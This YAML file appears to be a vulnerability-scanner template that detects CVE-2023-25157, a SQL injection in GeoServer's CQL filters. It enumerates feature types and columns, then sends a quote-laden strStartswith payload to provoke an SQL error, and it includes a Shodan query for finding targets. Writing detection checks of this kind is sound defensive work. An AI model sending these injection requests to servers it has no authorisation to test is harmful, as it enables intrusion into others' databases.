id: CVE-2023-25157

info:
  name: GeoServer OGC Filter - SQL Injection
  author: ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh
  severity: critical
  description: |
    GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse.
  reference:
    - https://twitter.com/parzel2/status/1665726454489915395
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25157
    - https://github.com/win3zz/CVE-2023-25157
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25157
    cwe-id: CWE-89
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    shodan-query: title:"geoserver"
    verified: "true"
  tags: cve,cve2023,geoserver,ogc,sqli,intrusive

http:
  - raw:
      - |
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 30s
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    iterate-all: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "SQL SELECT"

      - type: word
        part: header_3
        words:
          - text/xml

    extractors:
      - type: regex
        part: body_1
        group: 1
        name: name
        regex:
          - '<FeatureType><Name>(.*?)<\/Name><Title>'
        internal: true

      - type: regex
        part: body_2
        group: 1
        name: column
        regex:
          - 'FID,([aA-zZ_]+),'
        internal: true